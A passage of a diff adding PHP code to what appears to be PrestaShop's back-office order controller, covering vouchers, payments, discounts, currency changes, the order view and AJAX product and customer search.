$cartrule->reduction_currency = $order->id_currency; + + if (!$cartrule->add()) + $this->errors[] = Tools::displayError('You cannot generate a voucher.'); + else + { + // Update the voucher code and name + foreach ($languages as $language) + $cartrule->name[$language['id_lang']] = 'V'.(int)($cartrule->id).'C'.(int)($order->id_customer).'O'.$order->id; + $cartrule->code = 'V'.(int)($cartrule->id).'C'.(int)($order->id_customer).'O'.$order->id; + if (!$cartrule->update()) + $this->errors[] = Tools::displayError('You cannot generate a voucher.'); + else + { + $currency = $this->context->currency; + $params['{voucher_amount}'] = Tools::displayPrice($cartrule->reduction_amount, $currency, false); + $params['{voucher_num}'] = $cartrule->code; + @Mail::Send((int)$order->id_lang, 'voucher', sprintf(Mail::l('New voucher regarding your order %s', (int)$order->id_lang), $order->reference), + $params, $customer->email, $customer->firstname.' '.$customer->lastname, null, null, null, + null, _PS_MAIL_DIR_, true, (int)$order->id_shop); + } + } + } + } + else + $this->errors[] = Tools::displayError('No product or quantity has been selected.'); + + // Redirect if no errors + if (!count($this->errors)) + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=31&token='.$this->token); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + elseif (Tools::isSubmit('messageReaded')) + Message::markAsReaded(Tools::getValue('messageReaded'), $this->context->employee->id); + elseif (Tools::isSubmit('submitAddPayment') && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + $amount = str_replace(',', '.', Tools::getValue('payment_amount')); + $currency = new Currency(Tools::getValue('payment_currency')); + $order_has_invoice = $order->hasInvoice(); + if ($order_has_invoice) + $order_invoice = new OrderInvoice(Tools::getValue('payment_invoice')); + else + $order_invoice = null; + + if (!Validate::isLoadedObject($order)) + $this->errors[] = Tools::displayError('The order cannot be found'); + elseif (!Validate::isNegativePrice($amount)) + $this->errors[] = Tools::displayError('The amount is invalid.'); + elseif (!Validate::isString(Tools::getValue('payment_method'))) + $this->errors[] = Tools::displayError('The selected payment method is invalid.'); + elseif (!Validate::isString(Tools::getValue('payment_transaction_id'))) + $this->errors[] = Tools::displayError('The transaction ID is invalid.'); + elseif (!Validate::isLoadedObject($currency)) + $this->errors[] = Tools::displayError('The selected currency is invalid.'); + elseif ($order_has_invoice && !Validate::isLoadedObject($order_invoice)) + $this->errors[] = Tools::displayError('The invoice is invalid.'); + elseif (!Validate::isDate(Tools::getValue('payment_date'))) + $this->errors[] = Tools::displayError('The date is invalid'); + else + { + if (!$order->addOrderPayment($amount, Tools::getValue('payment_method'), Tools::getValue('payment_transaction_id'), $currency, Tools::getValue('payment_date'), $order_invoice)) + $this->errors[] = Tools::displayError('An error occurred during payment.'); + else + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=4&token='.$this->token); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (Tools::isSubmit('submitEditNote')) + { + $note = Tools::getValue('note'); + $order_invoice = new OrderInvoice((int)Tools::getValue('id_order_invoice')); + if (Validate::isLoadedObject($order_invoice) && Validate::isCleanHtml($note)) + { + if ($this->tabAccess['edit'] === '1') + { + $order_invoice->note = $note; + if ($order_invoice->save()) + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order_invoice->id_order.'&vieworder&conf=4&token='.$this->token); + else + $this->errors[] = Tools::displayError('The invoice note was not saved.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + else + $this->errors[] = Tools::displayError('The invoice for edit note was unable to load. '); + } + elseif (Tools::isSubmit('submitAddOrder') && ($id_cart = Tools::getValue('id_cart')) && + ($module_name = Tools::getValue('payment_module_name')) && + ($id_order_state = Tools::getValue('id_order_state')) && Validate::isModuleName($module_name)) + { + if ($this->tabAccess['edit'] === '1') + { + $payment_module = Module::getInstanceByName($module_name); + $cart = new Cart((int)$id_cart); + Context::getContext()->currency = new Currency((int)$cart->id_currency); + Context::getContext()->customer = new Customer((int)$cart->id_customer); + $employee = new Employee((int)Context::getContext()->cookie->id_employee); + $payment_module->validateOrder( + (int)$cart->id, (int)$id_order_state, + $cart->getOrderTotal(true, Cart::BOTH), $payment_module->displayName, $this->l('Manual order -- Employee:'). + Tools::safeOutput(substr($employee->firstname, 0, 1).'. '.$employee->lastname), array(), null, false, $cart->secure_key + ); + if ($payment_module->currentOrder) + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$payment_module->currentOrder.'&vieworder'.'&token='.$this->token); + } + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + elseif ((Tools::isSubmit('submitAddressShipping') || Tools::isSubmit('submitAddressInvoice')) && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + $address = new Address(Tools::getValue('id_address')); + if (Validate::isLoadedObject($address)) + { + // Update the address on order + if (Tools::isSubmit('submitAddressShipping')) + $order->id_address_delivery = $address->id; + elseif (Tools::isSubmit('submitAddressInvoice')) + $order->id_address_invoice = $address->id; + $order->update(); + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=4&token='.$this->token); + } + else + $this->errors[] = Tools::displayErrror('This address can\'t be loaded'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (Tools::isSubmit('submitChangeCurrency') && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + if (Tools::getValue('new_currency') != $order->id_currency && !$order->valid) + { + $old_currency = new Currency($order->id_currency); + $currency = new Currency(Tools::getValue('new_currency')); + if (!Validate::isLoadedObject($currency)) + throw new PrestaShopException('Can\'t load Currency object'); + + // Update order detail amount + foreach ($order->getOrderDetailList() as $row) + { + $order_detail = new OrderDetail($row['id_order_detail']); + $fields = array( + 'ecotax', + 'product_price', + 'reduction_amount', + 'total_shipping_price_tax_excl', + 'total_shipping_price_tax_incl', + 'total_price_tax_incl', + 'total_price_tax_excl', + 'product_quantity_discount', + 'purchase_supplier_price', + 'reduction_amount', + 'reduction_amount_tax_incl', + 'reduction_amount_tax_excl', + 'unit_price_tax_incl', + 'unit_price_tax_excl', + 'original_product_price' + + ); + foreach ($fields as $field) + $order_detail->{$field} = Tools::convertPriceFull($order_detail->{$field}, $old_currency, $currency); + + $order_detail->update(); + $order_detail->updateTaxAmount($order); + } + + $id_order_carrier = Db::getInstance()->getValue(' + SELECT `id_order_carrier` + FROM `'._DB_PREFIX_.'order_carrier` + WHERE `id_order` = '.(int)$order->id); + if ($id_order_carrier) + { + $order_carrier = new OrderCarrier($id_order_carrier); + $order_carrier->shipping_cost_tax_excl = (float)Tools::convertPriceFull($order_carrier->shipping_cost_tax_excl, $old_currency, $currency); + $order_carrier->shipping_cost_tax_incl = (float)Tools::convertPriceFull($order_carrier->shipping_cost_tax_incl, $old_currency, $currency); + $order_carrier->update(); + } + + // Update order && order_invoice amount + $fields = array( + 'total_discounts', + 'total_discounts_tax_incl', + 'total_discounts_tax_excl', + 'total_discount_tax_excl', + 'total_discount_tax_incl', + 'total_paid', + 'total_paid_tax_incl', + 'total_paid_tax_excl', + 'total_paid_real', + 'total_products', + 'total_products_wt', + 'total_shipping', + 'total_shipping_tax_incl', + 'total_shipping_tax_excl', + 'total_wrapping', + 'total_wrapping_tax_incl', + 'total_wrapping_tax_excl', + ); + + $invoices = $order->getInvoicesCollection(); + if ($invoices) + foreach ($invoices as $invoice) + { + foreach ($fields as $field) + if (isset($invoice->$field)) + $invoice->{$field} = Tools::convertPriceFull($invoice->{$field}, $old_currency, $currency); + $invoice->save(); + } + + foreach ($fields as $field) + if (isset($order->$field)) + $order->{$field} = Tools::convertPriceFull($order->{$field}, $old_currency, $currency); + + // Update currency in order + $order->id_currency = $currency->id; + // Update conversion rate + $order->conversion_rate = (float)$currency->conversion_rate; + $order->update(); + } + else + $this->errors[] = Tools::displayError('You cannot change the currency.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (Tools::isSubmit('submitGenerateInvoice') && isset($order)) + { + if (!Configuration::get('PS_INVOICE', null, null, $order->id_shop)) + $this->errors[] = Tools::displayError('Invoice management has been disabled.'); + elseif ($order->hasInvoice()) + $this->errors[] = Tools::displayError('This order already has an invoice.'); + else + { + $order->setInvoice(true); + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=4&token='.$this->token); + } + } + elseif (Tools::isSubmit('submitDeleteVoucher') && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + $order_cart_rule = new OrderCartRule(Tools::getValue('id_order_cart_rule')); + if (Validate::isLoadedObject($order_cart_rule) && $order_cart_rule->id_order == $order->id) + { + if ($order_cart_rule->id_order_invoice) + { + $order_invoice = new OrderInvoice($order_cart_rule->id_order_invoice); + if (!Validate::isLoadedObject($order_invoice)) + throw new PrestaShopException('Can\'t load Order Invoice object'); + + // Update amounts of Order Invoice + $order_invoice->total_discount_tax_excl -= $order_cart_rule->value_tax_excl; + $order_invoice->total_discount_tax_incl -= $order_cart_rule->value; + + $order_invoice->total_paid_tax_excl += $order_cart_rule->value_tax_excl; + $order_invoice->total_paid_tax_incl += $order_cart_rule->value; + + // Update Order Invoice + $order_invoice->update(); + } + + // Update amounts of order + $order->total_discounts -= $order_cart_rule->value; + $order->total_discounts_tax_incl -= $order_cart_rule->value; + $order->total_discounts_tax_excl -= $order_cart_rule->value_tax_excl; + + $order->total_paid += $order_cart_rule->value; + $order->total_paid_tax_incl += $order_cart_rule->value; + $order->total_paid_tax_excl += $order_cart_rule->value_tax_excl; + + // Delete Order Cart Rule and update Order + $order_cart_rule->delete(); + $order->update(); + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=4&token='.$this->token); + } + else + $this->errors[] = Tools::displayError('You cannot edit this cart rule.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (Tools::getValue('submitNewVoucher') && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + if (!Tools::getValue('discount_name')) + $this->errors[] = Tools::displayError('You must specify a name in order to create a new discount.'); + else + { + if ($order->hasInvoice()) + { + // If the discount is for only one invoice + if (!Tools::isSubmit('discount_all_invoices')) + { + $order_invoice = new OrderInvoice(Tools::getValue('discount_invoice')); + if (!Validate::isLoadedObject($order_invoice)) + throw new PrestaShopException('Can\'t load Order Invoice object'); + } + } + + $cart_rules = array(); + switch (Tools::getValue('discount_type')) + { + // Percent type + case 1: + if (Tools::getValue('discount_value') < 100) + { + if (isset($order_invoice)) + { + $cart_rules[$order_invoice->id]['value_tax_incl'] = Tools::ps_round($order_invoice->total_paid_tax_incl * Tools::getValue('discount_value') / 100, 2); + $cart_rules[$order_invoice->id]['value_tax_excl'] = Tools::ps_round($order_invoice->total_paid_tax_excl * Tools::getValue('discount_value') / 100, 2); + + // Update OrderInvoice + $this->applyDiscountOnInvoice($order_invoice, $cart_rules[$order_invoice->id]['value_tax_incl'], $cart_rules[$order_invoice->id]['value_tax_excl']); + } + elseif ($order->hasInvoice()) + { + $order_invoices_collection = $order->getInvoicesCollection(); + foreach ($order_invoices_collection as $order_invoice) + { + $cart_rules[$order_invoice->id]['value_tax_incl'] = Tools::ps_round($order_invoice->total_paid_tax_incl * Tools::getValue('discount_value') / 100, 2); + $cart_rules[$order_invoice->id]['value_tax_excl'] = Tools::ps_round($order_invoice->total_paid_tax_excl * Tools::getValue('discount_value') / 100, 2); + + // Update OrderInvoice + $this->applyDiscountOnInvoice($order_invoice, $cart_rules[$order_invoice->id]['value_tax_incl'], $cart_rules[$order_invoice->id]['value_tax_excl']); + } + } + else + { + $cart_rules[0]['value_tax_incl'] = Tools::ps_round($order->total_paid_tax_incl * Tools::getValue('discount_value') / 100, 2); + $cart_rules[0]['value_tax_excl'] = Tools::ps_round($order->total_paid_tax_excl * Tools::getValue('discount_value') / 100, 2); + } + } + else + $this->errors[] = Tools::displayError('The discount value is invalid.'); + break; + // Amount type + case 2: + if (isset($order_invoice)) + { + if (Tools::getValue('discount_value') > $order_invoice->total_paid_tax_incl) + $this->errors[] = Tools::displayError('The discount value is greater than the order invoice total.'); + else + { + $cart_rules[$order_invoice->id]['value_tax_incl'] = Tools::ps_round(Tools::getValue('discount_value'), 2); + $cart_rules[$order_invoice->id]['value_tax_excl'] = Tools::ps_round(Tools::getValue('discount_value') / (1 + ($order->getTaxesAverageUsed() / 100)), 2); + + // Update OrderInvoice + $this->applyDiscountOnInvoice($order_invoice, $cart_rules[$order_invoice->id]['value_tax_incl'], $cart_rules[$order_invoice->id]['value_tax_excl']); + } + } + elseif ($order->hasInvoice()) + { + $order_invoices_collection = $order->getInvoicesCollection(); + foreach ($order_invoices_collection as $order_invoice) + { + if (Tools::getValue('discount_value') > $order_invoice->total_paid_tax_incl) + $this->errors[] = Tools::displayError('The discount value is greater than the order invoice total.').$order_invoice->getInvoiceNumberFormatted(Context::getContext()->language->id, (int)$order->id_shop).')'; + else + { + $cart_rules[$order_invoice->id]['value_tax_incl'] = Tools::ps_round(Tools::getValue('discount_value'), 2); + $cart_rules[$order_invoice->id]['value_tax_excl'] = Tools::ps_round(Tools::getValue('discount_value') / (1 + ($order->getTaxesAverageUsed() / 100)), 2); + + // Update OrderInvoice + $this->applyDiscountOnInvoice($order_invoice, $cart_rules[$order_invoice->id]['value_tax_incl'], $cart_rules[$order_invoice->id]['value_tax_excl']); + } + } + } + else + { + if (Tools::getValue('discount_value') > $order->total_paid_tax_incl) + $this->errors[] = Tools::displayError('The discount value is greater than the order total.'); + else + { + $cart_rules[0]['value_tax_incl'] = Tools::ps_round(Tools::getValue('discount_value'), 2); + $cart_rules[0]['value_tax_excl'] = Tools::ps_round(Tools::getValue('discount_value') / (1 + ($order->getTaxesAverageUsed() / 100)), 2); + } + } + break; + // Free shipping type + case 3: + if (isset($order_invoice)) + { + if ($order_invoice->total_shipping_tax_incl > 0) + { + $cart_rules[$order_invoice->id]['value_tax_incl'] = $order_invoice->total_shipping_tax_incl; + $cart_rules[$order_invoice->id]['value_tax_excl'] = $order_invoice->total_shipping_tax_excl; + + // Update OrderInvoice + $this->applyDiscountOnInvoice($order_invoice, $cart_rules[$order_invoice->id]['value_tax_incl'], $cart_rules[$order_invoice->id]['value_tax_excl']); + } + } + elseif ($order->hasInvoice()) + { + $order_invoices_collection = $order->getInvoicesCollection(); + foreach ($order_invoices_collection as $order_invoice) + { + if ($order_invoice->total_shipping_tax_incl <= 0) + continue; + $cart_rules[$order_invoice->id]['value_tax_incl'] = $order_invoice->total_shipping_tax_incl; + $cart_rules[$order_invoice->id]['value_tax_excl'] = $order_invoice->total_shipping_tax_excl; + + // Update OrderInvoice + $this->applyDiscountOnInvoice($order_invoice, $cart_rules[$order_invoice->id]['value_tax_incl'], $cart_rules[$order_invoice->id]['value_tax_excl']); + } + } + else + { + $cart_rules[0]['value_tax_incl'] = $order->total_shipping_tax_incl; + $cart_rules[0]['value_tax_excl'] = $order->total_shipping_tax_excl; + } + break; + default: + $this->errors[] = Tools::displayError('The discount type is invalid.'); + } + + $res = true; + foreach ($cart_rules as &$cart_rule) + { + $cartRuleObj = new CartRule(); + $cartRuleObj->date_from = date('Y-m-d H:i:s', strtotime('-1 hour', strtotime($order->date_add))); + $cartRuleObj->date_to = date('Y-m-d H:i:s', strtotime('+1 hour')); + $cartRuleObj->name[Configuration::get('PS_LANG_DEFAULT')] = Tools::getValue('discount_name'); + $cartRuleObj->quantity = 0; + $cartRuleObj->quantity_per_user = 1; + if (Tools::getValue('discount_type') == 1) + $cartRuleObj->reduction_percent = Tools::getValue('discount_value'); + elseif (Tools::getValue('discount_type') == 2) + $cartRuleObj->reduction_amount = $cart_rule['value_tax_excl']; + elseif (Tools::getValue('discount_type') == 3) + $cartRuleObj->free_shipping = 1; + $cartRuleObj->active = 0; + if ($res = $cartRuleObj->add()) + $cart_rule['id'] = $cartRuleObj->id; + else + break; + } + + if ($res) + { + foreach ($cart_rules as $id_order_invoice => $cart_rule) + { + // Create OrderCartRule + $order_cart_rule = new OrderCartRule(); + $order_cart_rule->id_order = $order->id; + $order_cart_rule->id_cart_rule = $cart_rule['id']; + $order_cart_rule->id_order_invoice = $id_order_invoice; + $order_cart_rule->name = Tools::getValue('discount_name'); + $order_cart_rule->value = $cart_rule['value_tax_incl']; + $order_cart_rule->value_tax_excl = $cart_rule['value_tax_excl']; + $res &= $order_cart_rule->add(); + + $order->total_discounts += $order_cart_rule->value; + $order->total_discounts_tax_incl += $order_cart_rule->value; + $order->total_discounts_tax_excl += $order_cart_rule->value_tax_excl; + $order->total_paid -= $order_cart_rule->value; + $order->total_paid_tax_incl -= $order_cart_rule->value; + $order->total_paid_tax_excl -= $order_cart_rule->value_tax_excl; + } + + // Update Order + $res &= $order->update(); + } + + if ($res) + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=4&token='.$this->token); + else + $this->errors[] = Tools::displayError('An error occurred during the OrderCartRule creation'); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + parent::postProcess(); + } + + public function renderView() + { + $order = new Order(Tools::getValue('id_order')); + if (!Validate::isLoadedObject($order)) + throw new PrestaShopException('object can\'t be loaded'); + + $customer = new Customer($order->id_customer); + $carrier = new Carrier($order->id_carrier); + $products = $this->getProducts($order); + $currency = new Currency((int)$order->id_currency); + // Carrier module call + $carrier_module_call = null; + if ($carrier->is_module) + { + $module = Module::getInstanceByName($carrier->external_module_name); + if (method_exists($module, 'displayInfoByCart')) + $carrier_module_call = call_user_func(array($module, 'displayInfoByCart'), $order->id_cart); + } + + // Retrieve addresses information + $addressInvoice = new Address($order->id_address_invoice, $this->context->language->id); + if (Validate::isLoadedObject($addressInvoice) && $addressInvoice->id_state) + $invoiceState = new State((int)$addressInvoice->id_state); + + if ($order->id_address_invoice == $order->id_address_delivery) + { + $addressDelivery = $addressInvoice; + if (isset($invoiceState)) + $deliveryState = $invoiceState; + } + else + { + $addressDelivery = new Address($order->id_address_delivery, $this->context->language->id); + if (Validate::isLoadedObject($addressDelivery) && $addressDelivery->id_state) + $deliveryState = new State((int)($addressDelivery->id_state)); + } + + $this->toolbar_title = sprintf($this->l('Order #%1$d (%2$s) - %3$s %4$s'), $order->id, $order->reference, $customer->firstname, $customer->lastname); + if (Shop::isFeatureActive()) + { + $shop = new Shop((int)$order->id_shop); + $this->toolbar_title .= ' - '.sprintf($this->l('Shop: %s'), $shop->name); + } + + // gets warehouses to ship products, if and only if advanced stock management is activated + $warehouse_list = null; + + $order_details = $order->getOrderDetailList(); + foreach ($order_details as $order_detail) + { + $product = new Product($order_detail['product_id']); + + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') + && $product->advanced_stock_management) + { + $warehouses = Warehouse::getWarehousesByProductId($order_detail['product_id'], $order_detail['product_attribute_id']); + foreach ($warehouses as $warehouse) + { + if (!isset($warehouse_list[$warehouse['id_warehouse']])) + $warehouse_list[$warehouse['id_warehouse']] = $warehouse; + } + } + } + + $payment_methods = array(); + foreach (PaymentModule::getInstalledPaymentModules() as $payment) + { + $module = Module::getInstanceByName($payment['name']); + if (Validate::isLoadedObject($module) && $module->active) + $payment_methods[] = $module->displayName; + } + + // display warning if there are products out of stock + $display_out_of_stock_warning = false; + $current_order_state = $order->getCurrentOrderState(); + if (configuration::get('PS_STOCK_MANAGEMENT') && (!Validate::isLoadedObject($current_order_state) || ($current_order_state->delivery != 1 && $current_order_state->shipped != 1))) + $display_out_of_stock_warning = true; + + // products current stock (from stock_available) + foreach ($products as &$product) + { + $product['current_stock'] = StockAvailable::getQuantityAvailableByProduct($product['product_id'], $product['product_attribute_id'], $product['id_shop']); + + $resume = OrderSlip::getProductSlipResume($product['id_order_detail']); + $product['quantity_refundable'] = $product['product_quantity'] - $resume['product_quantity']; + $product['amount_refundable'] = $product['total_price_tax_incl'] - $resume['amount_tax_incl']; + $product['amount_refund'] = Tools::displayPrice($resume['amount_tax_incl'], $currency); + $product['refund_history'] = OrderSlip::getProductSlipDetail($product['id_order_detail']); + $product['return_history'] = OrderReturn::getProductReturnDetail($product['id_order_detail']); + + // if the current stock requires a warning + if ($product['current_stock'] == 0 && $display_out_of_stock_warning) + $this->displayWarning($this->l('This product is out of stock: ').' '.$product['product_name']); + } + + $cart = new Cart($order->id_cart); + $discounts = array(); + $order_cart_rules = $order->getCartRules(); + if (count($order_cart_rules) > 0) { + $discounts = $order_cart_rules; + } else { + $discounts = $cart->getCartRules(); + foreach ($discounts as $k => $discount) { + $package = array('id_carrier' => $order->id_carrier, 'id_address' => $order->id_address_delivery, 'products' => $order->product_list); + $discounts[$k]['value'] = $discount['obj']->getContextualValue(true, $this->context, CartRule::FILTER_ACTION_ALL_NOCAP, $package); + } + } + + // Smarty assign + $this->tpl_view_vars = array( + 'order' => $order, + 'cart' => new Cart($order->id_cart), + 'customer' => $customer, + 'customer_addresses' => $customer->getAddresses($this->context->language->id), + 'addresses' => array( + 'delivery' => $addressDelivery, + 'deliveryState' => isset($deliveryState) ? $deliveryState : null, + 'invoice' => $addressInvoice, + 'invoiceState' => isset($invoiceState) ? $invoiceState : null + ), + 'customerStats' => $customer->getStats(), + 'products' => $products, + 'discounts' => $discounts, + 'orders_total_paid_tax_incl' => $order->getOrdersTotalPaid(), // Get the sum of total_paid_tax_incl of the order with similar reference + 'total_paid' => $order->getTotalPaid(), + 'returns' => OrderReturn::getOrdersReturn($order->id_customer, $order->id), + 'customer_thread_message' => CustomerThread::getCustomerMessages($order->id_customer, 0), + 'orderMessages' => OrderMessage::getOrderMessages($order->id_lang), + 'messages' => Message::getMessagesByOrderId($order->id, true), + 'carrier' => new Carrier($order->id_carrier), + 'history' => $order->getHistory($this->context->language->id), + 'states' => OrderState::getOrderStates($this->context->language->id), + 'warehouse_list' => $warehouse_list, + 'sources' => ConnectionsSource::getOrderSources($order->id), + 'currentState' => $order->getCurrentOrderState(), + 'currency' => new Currency($order->id_currency), + 'currencies' => Currency::getCurrencies(), + 'previousOrder' => $order->getPreviousOrderId(), + 'nextOrder' => $order->getNextOrderId(), + 'current_index' => self::$currentIndex, + 'carrierModuleCall' => $carrier_module_call, + 'iso_code_lang' => $this->context->language->iso_code, + 'id_lang' => $this->context->language->id, + 'can_edit' => ($this->tabAccess['edit'] == 1), + 'current_id_lang' => $this->context->language->id, + 'invoices_collection' => $order->getInvoicesCollection(), + 'not_paid_invoices_collection' => $order->getNotPaidInvoicesCollection(), + 'payment_methods' => $payment_methods, + 'invoice_management_active' => Configuration::get('PS_INVOICE', null, null, $order->id_shop) + ); + + return parent::renderView(); + } + + public function ajaxProcessSearchCustomers() + { + if ($customers = Customer::searchByName(pSQL(Tools::getValue('customer_search')))) + $to_return = array('customers' => $customers, + 'found' => true); + else + $to_return = array('found' => false); + $this->content = Tools::jsonEncode($to_return); + } + + public function ajaxProcessSearchProducts() + { + Context::getContext()->customer = new Customer((int)Tools::getValue('id_customer')); + $currency = new Currency((int)Tools::getValue('id_currency')); + if ($products = Product::searchByName((int)$this->context->language->id, pSQL(Tools::getValue('product_search')))) + { + foreach ($products as &$product) + { + // Formatted price + $product['formatted_price'] = Tools::displayPrice(Tools::convertPrice($product['price_tax_incl'], $currency), $currency); + // Concret price + $product['price_tax_incl'] = Tools::ps_round(Tools::convertPrice($product['price_tax_incl'], $currency), 2); + $product['price_tax_excl'] = Tools::ps_round(Tools::convertPrice($product['price_tax_excl'], $currency), 2); + $productObj = new Product((int)$product['id_product'], false, (int)$this->context->language->id); + $combinations = array(); + $attributes = $productObj->getAttributesGroups((int)$this->context->language->id); + + // Tax rate for this customer + if (Tools::isSubmit('id_address')) + $product['tax_rate'] = $productObj->getTaxesRate(new Address(Tools::getValue('id_address'))); + + $product['warehouse_list'] = array(); + + foreach ($attributes as $attribute) + { + if (!isset($combinations[$attribute['id_product_attribute']]['attributes'])) + $combinations[$attribute['id_product_attribute']]['attributes'] = ''; + $combinations[$attribute['id_product_attribute']]['attributes'] .= $attribute['attribute_name'].' - '; + $combinations[$attribute['id_product_attribute']]['id_product_attribute'] = $attribute['id_product_attribute']; + $combinations[$attribute['id_product_attribute']]['default_on'] = $attribute['default_on']; + if (!isset($combinations[$attribute['id_product_attribute']]['price'])) + { + $price_tax_incl = Product::getPriceStatic((int)$product['id_product'], true, $attribute['id_product_attribute']); + $price_tax_excl = Product::getPriceStatic((int)$product['id_product'], false, $attribute['id_product_attribute']); + $combinations[$attribute['id_product_attribute']]['price_tax_incl'] = Tools::ps_round(Tools::convertPrice($price_tax_incl, $currency), 2); + $combinations[$attribute['id_product_attribute']]['price_tax_excl'] = Tools::ps_round(Tools::convertPrice($price_tax_excl, $currency), 2); + $combinations[$attribute['id_product_attribute']]['formatted_price'] = Tools::displayPrice(Tools::convertPrice($price_tax_excl, $currency), $currency); + } + if (!isset($combinations[$attribute['id_product_attribute']]['qty_in_stock'])) + $combinations[$attribute['id_product_attribute']]['qty_in_stock'] = StockAvailable::getQuantityAvailableByProduct((int)$product['id_product'], $attribute['id_product_attribute'], (int)$this->context->shop->id); + + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') && (int)$product['advanced_stock_management'] == 1) + $product['warehouse_list'][$attribute['id_product_attribute']] = Warehouse::getProductWarehouseList($product['id_product'], $attribute['id_product_attribute']); + else + $product['warehouse_list'][$attribute['id_product_attribute']] = array(); + + $product['stock'][$attribute['id_product_attribute']] = Product::getRealQuantity($product['id_product'], $attribute['id_product_attribute']); + + } + + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') && (int)$product['advanced_stock_management'] == 1) + $product['warehouse_list'][0] = Warehouse::getProductWarehouseList($product['id_product']); + else + $product['warehouse_list'][0] = array(); + + $product['stock'][0] = StockAvailable::getQuantityAvailableByProduct((int)$product['id_product'], 0, (int)$this->context->shop->id); + + foreach ($combinations as &$combination) + $combination['attributes'] = rtrim($combination['attributes'], ' - '); + $product['combinations'] = $combinations; + + if ($product['customizable']) + { + $product_instance = new Product((int)$product['id_product']); + $product['customization_fields'] = $product_instance->getCustomizationFields($this->context->language->id); + } + } + + $to_return = array( + 'products' => $products, + 'found' => true + ); + } + else + $to_return = array('found' => false); + + $this->content = Tools::jsonEncode($to_return); + } + + public function ajaxProcessSendMailValidateOrder() + { + if ($this->tabAccess['edit'] === '1') + { + $cart = new Cart((int)Tools::getValue('id_cart')); + if (Validate::isLoadedObject($cart)) + { + $customer = new Customer((int)$cart->id_customer); + if (Validate::isLoadedObject($customer)) + { + $mailVars = array( + '{order_link}' => Context::getContext()->link->getPageLink('order', false, (int)$cart->id_lang, 'step=3&recover_cart='.(int)$cart->id.'&token_cart='.md5(_COOKIE_KEY_.'recover_cart_'.(int)$cart->id)), + '{firstname}' => $customer->firstname, + '{lastname}' => $customer->lastname + ); + if (Mail::Send((int)$cart->id_lang, 'backoffice_order', Mail::l('Process the payment of your order', (int)$cart->id_lang), $mailVars, $customer->email, + $customer->firstname.' '.$customer->lastname, null, null, null, null, _PS_MAIL_DIR_, true, $cart->id_shop)) + die(Tools::jsonEncode(array('errors' => false, 'result' => $this->l('The email was sent to your customer.')))); + } + } + $this->content = Tools::jsonEncode(array('errors' => true, 'result' => $this->l('Error in sending the email to your customer.'))); + } + } + + public function ajaxProcessAddProductOnOrder() + { + // Load object + $order = new Order((int)Tools::getValue('id_order')); + if (!Validate::isLoadedObject($order)) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('The order object cannot be loaded.') + ))); + + if ($order->hasBeenShipped()) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('You cannot add products to delivered orders. ') + ))); + + $product_informations = $_POST['add_product']; + if (isset($_POST['add_invoice'])) + $invoice_informations = $_POST['add_invoice']; + else + $invoice_informations = array(); + $product = new Product($product_informations['product_id'], false, $order->id_lang); + if (!Validate::isLoadedObject($product)) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('The product object cannot be loaded.') + ))); + + if (isset($product_informations['product_attribute_id']) && $product_informations['product_attribute_id']) + { + $combination = new Combination($product_informations['product_attribute_id']); + if (!Validate::isLoadedObject($combination)) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('The combination object cannot be loaded.') + ))); + } + + // Total method + $total_method = Cart::BOTH_WITHOUT_SHIPPING; + + // Create new cart + $cart = new Cart(); + $cart->id_shop_group = $order->id_shop_group; + $cart->id_shop = $order->id_shop; + $cart->id_customer = $order->id_customer; + $cart->id_carrier = $order->id_carrier; + $cart->id_address_delivery = $order->id_address_delivery; + $cart->id_address_invoice = $order->id_address_invoice; + $cart->id_currency = $order->id_currency; + $cart->id_lang = $order->id_lang; + $cart->secure_key = $order->secure_key; + + // Save new cart + $cart->add(); + + // Save context (in order to apply cart rule) + $this->context->cart = $cart; + $this->context->customer = new Customer($order->id_customer); + + // always add taxes even if there are not displayed to the customer + $use_taxes = true; + + $initial_product_price_tax_incl = Product::getPriceStatic($product->id, $use_taxes, isset($combination) ? $combination->id : null, 2, null, false, true, 1, + false, $order->id_customer, $cart->id, $order->{Configuration::get('PS_TAX_ADDRESS_TYPE', null, null, $order->id_shop)}); + + // Creating specific price if needed + if ($product_informations['product_price_tax_incl'] != $initial_product_price_tax_incl) + { + $specific_price = new SpecificPrice(); + $specific_price->id_shop = 0; + $specific_price->id_shop_group = 0; + $specific_price->id_currency = 0; + $specific_price->id_country = 0; + $specific_price->id_group = 0; + $specific_price->id_customer = $order->id_customer; + $specific_price->id_product = $product->id; + if (isset($combination)) + $specific_price->id_product_attribute = $combination->id; + else + $specific_price->id_product_attribute = 0; + $specific_price->price = $product_informations['product_price_tax_excl']; + $specific_price->from_quantity = 1; + $specific_price->reduction = 0; + $specific_price->reduction_type = 'amount'; + $specific_price->from = '0000-00-00 00:00:00'; + $specific_price->to = 